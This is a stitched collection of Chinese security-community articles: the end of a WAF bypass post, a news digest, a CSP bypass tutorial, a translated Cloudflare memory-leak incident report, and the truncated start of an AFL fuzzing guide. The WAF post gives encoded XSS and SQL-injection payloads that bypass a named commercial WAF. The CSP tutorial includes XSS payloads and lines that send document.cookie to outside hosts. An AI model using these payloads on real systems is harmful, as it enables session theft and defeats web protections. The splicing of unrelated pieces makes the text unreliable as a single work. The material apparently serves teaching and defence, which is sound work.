* 怎么验证？
构造满足下面条件的数据：
* 如果waf没有解码模块，此数据就应该被拦截
* 如果waf有解码模块，解码后，此数据不应该被拦截
如果这个数据经过waf没有被拦截，就说明 存在风险。
比如，如果有一个waf面对如下的测试payload
<script a="">alert(1) // 被waf拦截
<script a=""></script><x a=">alert(1) // 不被waf拦截
其中第二个payload是通过"在第一个payload双引号中添加数据"构造出来的
就可以构造出下面的"最终payload"：
<script a="%25%32%32%25%33%65%25%33%63%25%32%66%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65%25%33%63%25%37%38%25%32%30%25%36%31%25%33%64">alert(1)
如果"此waf只检测解码后的数据，不检测原始数据"，就不会拦截"最终payload"
* 验证阿里云waf
以下是阿里云waf实际拦截结果
a=<svg onload='xxxx="x alert"'> 拦截
a=<svg onload='xxxx="x"> alert"'> 不拦截
所以可以构造出下面的payload并验证
a=<svg onload='xxxx="x%25%32%32%25%33%65 alert"'> 没有拦截
所以，阿里云waf确实存在风险，用`a=<svg onload='xxxx="x%25%32%32%25%33%65";
alert(1);'>`payload就可以绕过
* 验证长亭waf
a=alert("111") 中危
a=alert("111"") 正常
所以可以构造出下面的payload并验证
a=alert("111%25%32%32") 中危
所以，长亭waf不存在此风险
* 怎么利用？
如果waf存在此风险，就有可能导致非常多的web防护失效。
构造payload的过程如同上面"怎么验证"的过程。
下面再补充一个同样方式绕过阿里云sql注入防护的案例：
a=union/*anything*/select "111" 拦截
a=union/**/*/ select "111" 未拦截，但是此payload不是有效的
因此可以得到下面 不拦截、且有效的 payload
a=union/*%25%32%61%25%32%66*/select "111" 未拦截，且payload有效
### 最后
我在内部安全保障、安全产品两个方向有一些工作经验；在启明、百度等大厂也都呆过，也曾在房多多和安全团队一起做过从0到1的安全建设；在漏洞挖掘这一块虽然不是经验丰富，但之前也给"华为、阿里、360、百度、字节"等国内的大厂提交过一些高危严重漏洞（PS：并不代表我觉得这些src都非常好）；
我后面会持续写 "安全产品"、"后端开发"、"有意思的安全问题/漏洞"，如果读者有什么想一起讨论的"题材"，欢迎在公众号后台留言；
目前公众号一篇文章阅读量只有50-70，感觉太惨淡了。如果读者觉得我的文章有帮助，就希望能在公众号"点赞、在看、分享"，"点赞"和"在看"似乎也能增加一些曝光量。要不然文章就只能关注的人才能看得到。
* * * | 社区文章 |
# 1月25日安全热点 - Chrome 64发布/框架漏洞影响多个应用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Chrome 64发布并推出了更强大的弹出窗口拦截器
<https://www.bleepingcomputer.com/news/software/chrome-64-released-with-stronger-popup-blocker-spectre-mitigations/>
软件框架漏洞影响Skype, Signal, Slack, Twitch等应用程序
<https://www.bleepingcomputer.com/news/security/software-framework-flaw-affects-apps-from-skype-signal-slack-twitch-others/>
新的HNS物联网僵尸网络已经积累感染了超过14000台机器
<https://www.bleepingcomputer.com/news/security/new-hns-iot-botnet-has-already-amassed-14k-bots/>
MoneroPay勒索软件 ——伪造的SpriteCoin电子货币钱包
<https://www.bleepingcomputer.com/news/security/moneropay-ransomware-disguised-as-wallet-for-fake-spritecoin-cryptocurrency/>
惠普在Buggy Intel Meltdown和Spectre更新后重新发布BIOS更新
https://www.bleepingcomputer.com/news/hardware/hp-reissuing-bios-updates-after-buggy-intel-meltdown-and-spectre-updates/
## 技术类
360CERT——某游戏平台客户端DNS Rebinding攻击预警
<https://www.anquanke.com/post/id/95895>
2017年度安卓系统安全性生态环境研究
<https://www.anquanke.com/post/id/95950>
MyKings: 一个大规模多重僵尸网络
<http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/>
WPA2 “KRACK”漏洞简介与重现
<https://paper.seebug.org/512/>
2017年反序列化漏洞年度报告
<http://blog.nsfocus.net/2017-loophole-report/>
云安全风险（第1部分）：Azure CSV注入漏洞
<https://rhinosecuritylabs.com/azure/cloud-security-risks-part-1-azure-csv-injection-vulnerability/>
Oracle VirtualBox 多个逃逸漏洞
<https://blogs.securiteam.com/index.php/archives/3649>
Stack Canaries
<https://0x00sec.org/t/exploit-mitigation-techniques-stack-canaries/5085>
服务器端请求伪造（SSRF）漏洞
https://medium.com/in-the-weeds/all-about-paperclips-cve-2017-0889-server-side-request-forgery-ssrf-vulnerability-8cb2b1c96fe8
妖娆的代理工具shadowProxy
<https://mp.weixin.qq.com/s/ENjRuI5FZArtzV5H4LbJng> | 社区文章 |
**作者：LoRexxar'@知道创宇404实验室**
**英文版本：<https://paper.seebug.org/939/>**
#### 0x01 前端防御的开始
对于一个基本的XSS漏洞页面，它发生的原因往往是从用户输入的数据到输出没有有效的过滤，就比如下面的这个范例代码。
<?php
$a = $_GET['a'];
echo $a;
对于这样毫无过滤的页面，我们可以使用各种方式来构造一个xss漏洞利用。
a=<script>alert(1)</script>
a=<img/src=1/onerror=alert(1)>
a=<svg/onload=alert(1)>
对于这样的漏洞点来说，我们通常会使用htmlspecialchars函数来过滤输入，这个函数会处理5种符号。
& (AND) => &
" (双引号) => " (当ENT_NOQUOTES没有设置的时候)
' (单引号) => ' (当ENT_QUOTES设置)
< (小于号) => <
> (大于号) => >
一般意义来说，对于上面的页面来说，这样的过滤可能已经足够了，但是很多时候场景永远比想象的更多。
<a href="{输入点}">
<div style="{输入点}">
<img src="{输入点}">
<img src={输入点}>(没有引号)
<script>{输入点}</script>
对于这样的场景来说，上面的过滤已经没有意义了，尤其输入点在script标签里的情况，刚才的防御方式可以说是毫无意义。
一般来说，为了能够应对这样的xss点，我们会使用更多的过滤方式。
首先是肯定对于符号的过滤，为了能够应对各种情况，我们可能需要过滤下面这么多符号
% * + , – / ; < = > ^ | `
但事实上过度的过滤符号严重影响了用户正常的输入，这也是这种过滤使用非常少的原因。
大部分人都会选择使用htmlspecialchars+黑名单的过滤方法
on\w+=
script
svg
iframe
link
…
这样的过滤方式如果做的足够好，看上去也没什么问题，但回忆一下我们曾见过的那么多XSS漏洞，大多数漏洞的产生点，都是过滤函数忽略的地方。
那么，是不是有一种更底层的防御方式，可以从浏览器的层面来防御漏洞呢？
CSP就这样诞生了...
#### 0x02 CSP（Content Security Policy）
Content Security Policy
（CSP）内容安全策略，是一个附加的安全层，有助于检测并缓解某些类型的攻击，包括跨站脚本（XSS）和数据注入攻击。
CSP的特点就是他是在浏览器层面做的防护，是和同源策略同一级别，除非浏览器本身出现漏洞，否则不可能从机制上绕过。
CSP只允许被认可的JS块、JS文件、CSS等解析，只允许向指定的域发起请求。
一个简单的CSP规则可能就是下面这样
header("Content-Security-Policy: default-src 'self'; script-src 'self' https://lorexxar.cn;");
其中的规则指令分很多种，每种指令都分管浏览器中请求的一部分。
每种指令都有不同的配置
简单来说，针对不同来源，不同方式的资源加载，都有相应的加载策略。
我们可以说，如果一个站点有足够严格的CSP规则，那么XSS or CSRF就可以从根源上被防止。
但事实真的是这样吗？
#### 0x03 CSP Bypass
CSP可以很严格，严格到甚至和很多网站的本身都想相冲突。
为了兼容各种情况，CSP有很多松散模式来适应各种情况。
在便利开发者的同时，很多安全问题就诞生了。
CSP对前端攻击的防御主要有两个：
1、限制js的执行。
2、限制对不可信域的请求。
接下来的多种Bypass手段也是围绕这两种的。
##### 1
header("Content-Security-Policy: default-src 'self '; script-src * ");
天才才能写出来的CSP规则，可以加载任何域的js
<script src="http://lorexxar.cn/evil.js"></script>
随意开火
##### 2
header("Content-Security-Policy: default-src 'self'; script-src 'self' ");
最普通最常见的CSP规则，只允许加载当前域的js。
站内总会有上传图片的地方，如果我们上传一个内容为js的图片，图片就在网站的当前域下了。
alert(1);//
直接加载图片就可以了
<script src='upload/test.js'></script>
##### 3
header(" Content-Security-Policy: default-src 'self '; script-src http://127.0.0.1/static/ ");
当你发现设置self并不安全的时候，可能会选择把静态文件的可信域限制到目录，看上去好像没什么问题了。
但是如果可信域内存在一个可控的重定向文件，那么CSP的目录限制就可以被绕过。
假设static目录下存在一个302文件
Static/302.php
<?php Header("location: ".$_GET['url'])?>
像刚才一样，上传一个test.jpg 然后通过302.php跳转到upload目录加载js就可以成功执行
<script src="static/302.php?url=upload/test.jpg">
##### 4
header("Content-Security-Policy: default-src 'self'; script-src 'self' ");
CSP除了阻止不可信js的解析以外，还有一个功能是组织向不可信域的请求。
在上面的CSP规则下，如果我们尝试加载外域的图片，就会被阻止
<img src="http://lorexxar.cn/1.jpg"> -> 阻止
在CSP的演变过程中，难免就会出现了一些疏漏
<link rel="prefetch" href="http://lorexxar.cn"> (H5预加载)(only chrome)
<link rel="dns-prefetch" href="http://lorexxar.cn"> （DNS预加载）
在CSP1.0中，对于link的限制并不完整，不同浏览器包括chrome和firefox对CSP的支持都不完整，每个浏览器都维护一份包括CSP1.0、部分CSP2.0、少部分CSP3.0的CSP规则。
##### 5
无论CSP有多么严格，但你永远都不知道会写出什么样的代码。
下面这一段是Google团队去年一份关于CSP的报告中的一份范例代码
// <input id="cmd" value="alert,safe string">
var array = document.getElementById('cmd').value.split(',');
window[array[0]].apply(this, array.slice(1));
机缘巧合下，你写了一段执行输入字符串的js。
事实上，很多现代框架都有这样的代码，从既定的标签中解析字符串当作js执行。
angularjs甚至有一个ng-csp标签来完全兼容csp，在csp存在的情况下也能顺利执行。
对于这种情况来说，CSP就毫无意义了
##### 6
header("Content-Security-Policy: default-src 'self'; script-src 'self' ");
或许你的站内并没有这种问题，但你可能会使用jsonp来跨域获取数据，现代很流行这种方式。
但jsonp本身就是CSP的克星，jsonp本身就是处理跨域问题的，所以它一定在可信域中。
<script
src="/path/jsonp?callback=alert(document.domain)//">
</script>
/* API response */
alert(document.domain);//{"var": "data", ...});
这样你就可以构造任意js，即使你限制了callback只获取`\w+`的数据，部分js仍然可以执行，配合一些特殊的攻击手段和场景，仍然有危害发生。
唯一的办法是返回类型设置为json格式。
##### 7
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' ");
比起刚才的CSP规则来说，这才是最最普通的CSP规则。
unsafe-inline是处理内联脚本的策略，当CSP中制定script-src允许内联脚本的时候，页面中直接添加的脚本就可以被执行了。
<script>
js code; //在unsafe-inline时可以执行
</script>
既然我们可以任意执行js了，剩下的问题就是怎么绕过对可信域的限制。
###### 1 js生成link prefetch
第一种办法是通过js来生成link prefetch
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//ssssss.com/?" + document.cookie);
document.head.appendChild(n0t);
这种办法只有chrome可以用，但是意外的好用。
###### 2 跳转 跳转 跳转
在浏览器的机制上， 跳转本身就是跨域行为
<script>location.href=http://lorexxar.cn?a+document.cookie</script>
<script>windows.open(http://lorexxar.cn?a=+document.cooke)</script>
<meta http-equiv="refresh" content="5;http://lorexxar.cn?c=[cookie]">
通过跨域请求，我们可以把我们想要的各种信息传出
###### 3 跨域请求
在浏览器中，有很多种请求本身就是跨域请求，其中标志就是href。
var a=document.createElement("a");
a.href='http://xss.com/?cookie='+escape(document.cookie);
a.click();
包括表单的提交，都是跨域请求
#### 0x04 CSP困境以及升级
在CSP正式被提出作为减轻XSS攻击的手段之后，几年内不断的爆出各种各样的问题。
2016年12月Google团队发布了关于CSP的调研文章《CSP is Dead, Long live CSP》
<https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/45542.pdf>
Google团队利用他们强大的搜索引擎库，分析了超过160w台主机的CSP部署方式，他们发现。
加载脚本最常列入白名单的有15个域，其中有14个不安全的站点，因此有75.81%的策略因为使用了了脚本白名单，允许了攻击者绕过了CSP。总而言之，我们发现尝试限制脚本执行的策略中有94.68%是无效的，并且99.34%具有CSP的主机制定的CSP策略对xss防御没有任何帮助。
在paper中，Google团队正式提出了两种以前被提出的CSP种类。
**1、nonce script CSP**
header("Content-Security-Policy: default-src 'self'; script-src 'nonce-{random-str}' ");
动态的生成nonce字符串，只有包含nonce字段并字符串相等的script块可以被执行。
<script nonce="{random-str}">alert(1)</script>
这个字符串可以在后端实现，每次请求都重新生成，这样就可以无视哪个域是可信的，只要保证所加载的任何资源都是可信的就可以了。
<?php
Header("Content-Security-Policy: script-src 'nonce-".$random." '"");
?>
<script nonce="<?php echo $random?>">
**2、strict-dynamic**
header("Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic' ");
SD意味着可信js生成的js代码是可信的。
这个CSP规则主要是用来适应各种各样的现代前端框架，通过这个规则，可以大幅度避免因为适应框架而变得松散的CSP规则。
Google团队提出的这两种办法，希望通过这两种办法来适应各种因为前端发展而出现的CSP问题。
但攻与防的变迁永远是交替升级的。
**1、nonce script CSP Bypass**
2016年12月，在Google团队提出nonce script CSP可以作为新的CSP趋势之后，圣诞节Sebastian Lekies提出了nonce
CSP的致命缺陷。
**Nonce CSP对纯静态的dom xss简直没有防范能力**
<http://sirdarckcat.blogspot.jp/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html>
Web2.0时代的到来让前后台交互的情况越来越多，为了应对这种情况，现代浏览器都有缓存机制，但页面中没有修改或者不需要再次请求后台的时候，浏览器就会从缓存中读取页面内容。
从 **location.hash** 就是一个典型的例子
如果JS中存在操作location.hash导致的xss，那么这样的攻击请求不会经过后台，那么nonce后的随机值就不会刷新。
这样的CSP Bypass方式我曾经出过ctf题目，详情可以看
<https://lorexxar.cn/2017/05/16/nonce-bypass-script/>
除了最常见的location.hash，作者还提出了一个新的攻击方式，通过CSS选择器来读取页面内容。
*[attribute^="a"]{background:url("record?match=a")}
*[attribute^="b"]{background:url("record?match=b")}
*[attribute^="c"]{background:url("record?match=c")} [...]
当匹配到对应的属性，页面就会发出相应的请求。
页面只变化了CSS，纯静态的xss。
CSP无效。
**2、strict-dynamic Bypass**
2017年7月 Blackhat，Google团队提出了全新的攻击方式Script Gadgets。
header("Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic' ");
Strict-dynamic的提出正是为了适应现代框架 但Script Gadgets正是现代框架的特性
Script Gadgets 一种类似于短标签的东西，在现代的js框架中四处可见
For example:
Knockout.js
<div data-bind="value: 'foo'"></div>
Eval("foo")
<div data-bind="value: alert(1)"></dib>
bypass
Script Gadgets本身就是动态生成的js，所以对新型的CSP几乎是破坏式的Bypass。
#### 0x05 写在最后
说了一大堆，黑名单配合CSP仍然是最靠谱的防御方式。
但，防御没有终点...
#### 0x06 ref
* [1] <https://paper.seebug.org/91/>
* [2] <http://sirdarckcat.blogspot.jp/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html>
* [3] <https://xianzhi.aliyun.com/forum/read/523.html>
* [4] <https://lorexxar.cn>
* * * | 社区文章 |
# 【技术分享】Cloudflare解析器bug导致内存泄漏事件报告
|
##### 译文声明
本文是翻译文章，文章来源：cloudflare.com
原文地址：<https://blog.cloudflare.com/incident-report-on-memory-leak-caused-by-cloudflare-parser-bug/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：260RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**0x00 前言**
上星期五，来自谷歌[Project Zero](https://googleprojectzero.blogspot.co.uk/)组织的[Tavis
Ormandy](https://twitter.com/taviso)联系Cloudflare，报告了我们的边界服务器的一个安全问题。他看到经过Cloudflare的一些HTTP请求返回了崩溃的网页。
它出现在一些不寻常的情况下，在下面我将详细介绍，我们的边界服务器运行时缓冲区越界了，并返回了隐私信息，如 HTTP cookies，认证令牌，HTTP
POST体和其他敏感数据的内存。并且有些数据会被搜索引擎缓存。
为了避免怀疑，Cloudflare客户的SSL私钥没有泄漏。Cloudflare总是通过一个隔离的Nginx实例来结束SLL连接，因此不受这个bug影响。
我们快速的确认了这个问题，并关闭了3个Cloudflare功能（[邮件混淆](https://support.cloudflare.com/hc/en-us/articles/200170016-What-is-Email-Address-Obfuscation-)，[服务端排除](https://support.cloudflare.com/hc/en-us/articles/200170036-What-does-Server-Side-Excludes-SSE-do-)和[自动HTTPs重写](https://support.cloudflare.com/hc/en-us/articles/227227647-How-do-I-use-Automatic-HTTPS-Rewrites-)），这些都用来了相同的HTML解析器链，会导致泄漏。这样在一个HTTP响应中就不会有内存返回了。
因为这个bug的严重性，来自San Francisco和
London的软件工程师、信息安全和操作的交叉功能团队充分了解了潜在的原因，为了降低内存泄漏的影响，和谷歌和其他搜索引擎团队一起将缓存的HTTP响应移除了。
拥有一个全球化的团队，每12小时为间隔，每天24小时交替解决这个问题。团队持续的努力确保了问题的圆满解决。作为服务的一个优势是这个bug从报告到解决，花了几分钟到几小时，而不是几个月。针对这样的bug部署修复方案的工业标准通常是3个月；我们在小于7个小时就圆满解决，47分钟内就缓解了bug。
这个bug是严重的，因为泄漏的内存包含了隐私信息，并且还会被搜索引擎缓存。我们还没有发现这个bug的漏洞利用或者它们存在的报告。
影响最大的时期是2月13日到2月18号，通过Cloudflare的每3,300,000个HTTP请求中约有1个可能导致内存泄漏（约为请求的0.00003％）。
我们感谢它由世界顶级安全研究团队发现并报告给我们。
本文很长，但是作为我们的传统，我们倾向于对我们的服务出现的问题保持开放和技术上的详细描述。
**0x01 运行时解析并修改HTML**
很多Cloudflare服务依赖通过我们的边界服务器时解析和修改HTML页面。例如，我们能通过修改HTML页面来插入谷歌分析标签，安全的重写http://链接为https://，排除来自机器人的部分页面，模糊电子邮件地址，启用AMP等。
为了修改页面，我们需要读取并解析HTML以发现需要修改的元素。因为在Cloudflare的早期，我们已经使用了用Ragel编写的解析器。一个独立的.rl文件包含一个HTML解析器，被用来在Cloudflare平台修改HTML。
大约一年前，我们认为Ragel解析器维护起来太复杂，并且我们开始写一个新的解析器（cf-html）来替代它。这个解析器能正确处理HTML5，而且非常非常快且易维护。
我们首先将这个解析器用于自动HTTP重写功能，并一直慢慢地迁移cf-html替换Ragel。
Cf-html和老的Ragel解析器都作为Nginx模块实现，并编译到我们的Nginx构建中。这个Nginx过滤模块解析包含HTML响应的缓冲区（内存块），做出必要的修改，并将缓冲区传递给下一个过滤模块。
这样，引起内存泄漏的bug在我们的Ragel解析器中已存在多年，但是因为我们内部Nginx使用缓冲区的方式，并没有内存泄漏。Cf-html巧妙的改变了缓冲去，导致在cf-html中不会有问题。
因为我们知道了这个bug是由激活cf-html引起的（但是之前我们知道为什么），我们禁用了使用它的3个功能。Cloudflare每个功能都有一个相应的功能标志，我们称之为全局杀手。我们在收到问题细节报告后的47分钟时启用了邮件混淆的全局杀手，并在3小时5分钟后关闭了自动HTTP重写。邮件混淆功能在2月13号已经修改了，并且是内存泄漏的原因，因此禁用它快速地阻止了几乎所有的内存泄漏。
在几秒内，这些功能在全球范围内被禁用。我们确定没有通过测试URI来泄漏内存，并且谷歌的二次校验也一样。
然后，我们发现了第三个功能（服务端排除）也有这个漏洞，但是没有全局杀手开关（它非常老，在全局杀手之前实现）。我们为服务端排除实现了一个全局杀手，并全球部署补丁。从发现服务端排除是个问题到部署补丁只花了3个小时。然而，服务端排除很少使用，且只针对对恶意的IP地址才激活。
**0x02 bug的根因**
Ragel代码转化为C代码，然后编译。这个C代码使用经典的C方法，指向HTML文档的指针被解析，并且Ragel自身给用户提供了针对这些指针大量的控制权。因为一个指针错误导致的bug的产生。
/* generated code */
if ( ++p == pe )
goto _test_eof;
bug的根因是，使用等于运算符来校验是否到达缓冲区的末端，并且指针能够步过缓冲去末端。这是熟知的缓冲去溢出。使用>=代替==来做检验，将跳过缓冲区末端。这个等于校验由Ragel自动生成，不是我们编写的代码。意味着我们没有正确的使用Ragel。
我们编写的Ragel代码包含了一个bug，其能引起指针越界且给了等号校验造成缓冲区溢出的能力。
下面是Ragel代码的一段代码，用来获取HTML
<script>标签中的一个属性。第一行说的是它试图找到更多以空格，正斜杠或>结尾的unquoted_attr_char。（:>>是连接符）
script_consume_attr := ((unquoted_attr_char)* :>> (space|'/'|'>'))
>{ ddctx("script consume_attr"); }
@{ fhold; fgoto script_tag_parse; }
$lerr{ dd("script consume_attr failed");
fgoto script_consume_attr; };
如果一个属性格式良好，则Ragel解析器跳转到@{}代码块。如果解析属性失败（就是我们今天讨论的bug的开始），那么到$lerr{}。
举个例子，在实际情况下（细节如下），如果web页面以错误的HTML标签结尾，如：
<script type=
$lerr{ }块将执行，并且缓冲去将溢出。这个例子中$lerr执行dd(“script consume_attr
failed”);（这是个调试语句），然后执行fgoto
script_consume_attr;（转移到script_consume_attr去解析下一个属性）。
从我们的分析中看，这样错误的标签出现在大约0.06%的网站中。
如果你观察仔细，你可能已经注意到@{ }也是一个fgoto，但是在它之前执行了fhold，并且$lerr{ }没有。它没有fhold导致了内存泄漏。
在内部，生成的C代码有一个指针p，指向HTML文档中正在检测的字符。Fhold等价于p–，并且是必要的。因为当错误条件发生时，p将指向导致script_consume_attr失败的字符。
并且它非常重要，因为如果这个错误条件发生在包含HTML文档的缓冲区的末尾，则p将在文档末端的后面（p将是pe+1），且达到缓冲区末尾的校验将失败，p将在缓冲去外部运行。
添加一个fhold到错误处理函数中，能解决这个问题。
**0x03 为什么**
上面解释了指针如何运行超过缓冲区的末尾，但是问题内部为什么没有显示。毕竟，这个代码在生产环境上已经稳定很多年了。
回到上面定义的script_consume_attr:
script_consume_attr := ((unquoted_attr_char)* :>> (space|'/'|'>'))
>{ ddctx("script consume_attr"); }
@{ fhold; fgoto script_tag_parse; }
$lerr{ dd("script consume_attr failed");
fgoto script_consume_attr; };
当解析器解析超过字符范围时会发生什么，当前被解析的缓冲区是否是最后一个缓冲区是不同的。如果它不是最后一个缓冲区，那么没必要使用$lerr，因为解析器不知道是否会发生错误，因为剩余的属性可能在下一个缓冲区中。
但是如果这是最后一个缓冲区，那么$lerr被执行。下面是代码末尾如何跳过了文件末尾且运行内存。
解析函数的入口点是ngx_http_email_parse_email（名字是古老的，它不止做了邮件解析的事）。
ngx_int_t ngx_http_email_parse_email(ngx_http_request_t *r, ngx_http_email_ctx_t *ctx) {
u_char *p = ctx->pos;
u_char *pe = ctx->buf->last;
u_char *eof = ctx->buf->last_buf ? pe : NULL;
你能看到p指向缓冲区的第一个字符，pe是缓冲区后的字符，且pe设置为eof。如果这是这个链中的最后一个缓冲区（有boolean
last_buf表示），否者为NULL。
当老的和新的解析器在请求处理时同时存在，这类缓冲区将传给上面的函数。
(gdb) p *in->buf
$8 = {
pos = 0x558a2f58be30 "<script type="",
last = 0x558a2f58be3e "",
[...]
last_buf = 1,
[...]
}
上面是数据，last_buf是1。当新的解析器不存在时，最后一个缓冲区包含的数据如下：
(gdb) p *in->buf
$6 = {
pos = 0x558a238e94f7 "<script type="",
last = 0x558a238e9504 "",
[...]
last_buf = 0,
[...]
}
最后的空缓冲区（pos和last都是NULL且last_buf=1）接着那个缓冲区，但是如果缓冲区是空的，ngx_http_email_parse_email不会被调用。
因此，只有当老的解析器存在是，最后一个缓冲区包含的数据才有last_buf是0。这意味着eof将是NULL。现在当试图在缓冲区末尾处理一个不完整的script_consume_attr。$
lerr将不会被执行，因为解析器相信（因为last_buf）可能有更多的数据来了。
当两个解析器都存在时，情况是不同的。 last_buf为1，eof设置为pe，$ lerr代码运行。下面是生成的代码：
/* #line 877 "ngx_http_email_filter_parser.rl" */
{ dd("script consume_attr failed");
{goto st1266;} }
goto st0;
[...]
st1266:
if ( ++p == pe )
goto _test_eof1266;
解析器解析完字符，而试图执行script_consume_attr， p将是pe。因为没有fhold（这将做p–），当代码跳转到st1266，
p增加将超过pe。
然后不会跳转到_test_eof1266（在这将执行EOF校验），并且将超过缓冲区末尾，试图解析HTML文档。
因此，bug潜伏了多年，直到在NGINX过滤器模块之间传递的缓冲区的内部风水随着cf-html的引入而改变。
**0x04 继续寻找bug**
在1960和1970年代，IBM的研究展示了bug集中在易错模块中。因为我们在Ragel生成的代码中找到了一个讨厌的指针溢出，所以将谨慎的去查找其他的bug。
信息安全团队的一部分人开始模糊测试生成的代码，来查找潜在的指针溢出。另一个团队使用恶意构造的web网页构建测试用例。软件工程师团队开始手动排查代码问题。
决定在生成的代码中为每个访问的指针显式添加校验，并且计入任何发生的错误。生成的错误被反馈到我们的全局错误记录基础结构，用于分析。
#define SAFE_CHAR ({
if (!__builtin_expect(p < pe, 1)) {
ngx_log_error(NGX_LOG_CRIT, r->connection->log, 0, "email filter tried to access char past EOF");
RESET();
output_flat_saved(r, ctx);
BUF_STATE(output);
return NGX_ERROR;
}
*p;
})
我们
看到日志如下：
2017/02/19 13:47:34 [crit] 27558#0: *2 email filter tried to access char past EOF while sending response to client, client: 127.0.0.1, server: localhost, request: "GET /malformed-test.html HTTP/1.1”
每行日志表示一个HTTP请求，可能有泄漏的内存。通过记录问题发生的频率，我们希望得到在错误存在时HTTP请求泄漏内存的次数的统计。
为了针对内存泄漏，下面的东西必须正确：
最后一个缓冲区包含的数据必须以以恶意格式的脚本或者img标签结束
缓冲区必须小于4K长度（否则Nginx可能崩溃）
用户必须开启邮件混淆（因为她同时使用新旧解析器）。
…或者自动HTTPs重写/服务端排除（使用了新解析器）组合另一个使用老的解析器的功能。…并且服务端排除只有在客户端IP具有较差的信誉（即它对大多数访问者不起作用）时才执行。
那就解释了为什么缓冲区溢出导致了内存泄漏的发生的情况如此少。
此外，邮件模糊功能（使用两个解析器，并会使错误发生在大多数Cloudflare网站上）仅在2月13日（Tavis报告的前四天）启用。
涉及的三个功能按如下顺序推出。内存可能泄漏的最早的日期是2016-09-22。
2016-09-22 Automatic HTTP Rewrites 启用
2017-01-30 Server-Side Excludes 整合新的解析器
2017-02-13 Email Obfuscation 部分整合新的解析器
2017-02-18 Google 报告问题给Cloudflare且泄漏结束
最大的潜在威胁发生在2月13号开始的4天内，因为自动HTTP重写没有被广泛使用，服务端排除只对恶意的IP地址才有效。
**0x05 Bug的内部影响**
Cloudflare在边界机器上面运行了多个独立的进程，且提供了进程和内存隔离。内存泄漏来自与一个基于Nginx的进程（处理HTTP）。它有一个独立的进程堆处理SSL，图片压缩和缓存，意味着我们很很快判断我们客户的SSL私钥没有泄漏。
然而，内存空间的泄漏包含了敏感信息。泄漏的信息中明显的一个是用于在Cloudflare机器之间安全连接的私钥。
当处理客户网站HTTP请求时，我们的边界机器在机架内，在数据中心内，以及用于记录，缓存和从源Web服务器检索网页的数据中心之间相互通信。
为了响应对互联网公司的监控活动的高度关注，我们决定在2013年加密Cloudflare机器之间的所有连接，以防止这样的攻击，即使机器坐在同一机架。
泄漏的私钥是用于此机器加密的私钥。在Cloudflare内部还有少量的密钥用于认证。
**0x06 外部影响和缓存清除**
更关心的事实是大量的Cloudflare客户的HTTP请求存在于转储的内存中。这意味着隐私信息泄露了。
这包括HTTP头，POST数据（可能包含密码），API调用的JSON，URI参数，Cookie和用于身份认证的其他敏感信息（例如API密钥和OAuth令牌）。
因为Cloudflare运行大型共享基础架构，因此对易受此问题影响的Cloudflare网站的HTTP请求可能会泄露不相关的其他Cloudflare站点的信息。
另一个问题是，Google（和其他搜索引擎）通过其正常的抓取和缓存过程缓存了一些泄漏的内存。我们想要确保在公开披露问题之前从搜索引擎缓存中清除这些内存，以便第三方无法搜索敏感信息。
我们倾向是尽快得到错误的消息，但我们认为我们有责任确保搜索引擎缓存在公开宣布之前被擦除。
信息安全团队努力在搜索引擎缓存中识别已泄漏内存并清除内存的URI。在Google，Yahoo，Bing和其他人的帮助下，我们发现了770个已被缓存且包含泄漏内存的独特的URI。770个独特的URI涵盖161个唯一域。泄漏的内存已经在搜索引擎的帮助下清除。
我们还进行其他搜索，寻找在像Pastebin这样的网站上可能泄漏的信息，且没有找到任何东西。
**0x07 一些课题**
新的HTML解析器的工程师一直担心影响我们的服务，他们花了几个小时来验证它不包含安全问题。
不幸的是，这是一个古老的软件且包含一个潜在的安全问题，而这个问题只出现于我们在迁移抛弃它的过程。我们的内部信息安全团队现在正在进行一个项目，以模糊测试旧软件的方式寻找潜在的其他安全问题。
**0x08 时间点细节**
我们非常感谢Google的同事就此问题与我们联系，并通过其解决方案与我们密切合作。所有这些都没有任何报告,表明外界的各方已经确定了问题或利用它。
所有时间均为UTC时间。
2017-02-18 0011 来自Tavis Ormandy的推特寻求Cloudflare的联系方式
2017-02-18 0032 Cloudflare 收到来自谷歌的bug细节
2017-02-18 0040 多个团队汇集在San Francisco
2017-02-18 0119 全球范围内关闭邮件混淆功能
2017-02-18 0122 London团队加入
2017-02-18 0424 自动HTTPs重写功能关闭
2017-02-18 0722 实现针对cf-html解析器的关闭开关，并全球部署
2017-02-20 2159 SAFE_CHAR 修复部署
2017-02-21 1803 自动HTTPs重写，服务端排除和邮件混淆重启功能 | 社区文章 |
**作者：天融信阿尔法实验室
公众号：<https://mp.weixin.qq.com/s/WMfCNN095-PpM0VB_pRESg>**
### 一、前言
阿尔法实验在上一篇[文章](https://paper.seebug.org/841/)中向大家介绍了使用AFL开始模糊测试前要做的一些准备工作，以及AFL的几种工作方式，但是并没有提到何时结束测试过程，以及测试完成后又需要做些什么。本文中就继续介绍这些内容，并开始逐步介绍一些AFL相关原理。以下就是本文中主要讨论的问题：
* 何时结束Fuzzing工作
* afl-fuzz生成了哪些文件
* 如何对产生的crash进行验证和分类
* 用什么来评估Fuzzing的结果
* 代码覆盖率及相关概念
* AFL是如何记录代码覆盖率的
### 二、Fuzzer工作状态
因为 _afl-fuzz_ 永远不会停止，所以何时停止测试很多时候就是依靠 _afl-fuzz_ 提供的状态来决定的。除了前面提到过的通过状态窗口、
_afl-whatsup_ 查看 _afl-fuzz_ 状态外，这里再补充几种方法。
#### 1\. afl-stat
_afl-stat_ 是[afl-utils](https://gitlab.com/rc0r/afl-utils)这套工具AFL辅助工具中的一个（这套工具中还有其他更好用的程序，后面用到时会做介绍），该工具类似于 _afl-whatsup_ 的输出结果。
使用前需要一个配置文件，设置每个afl-fuzz实例的输出目录：
{
"fuzz_dirs": [
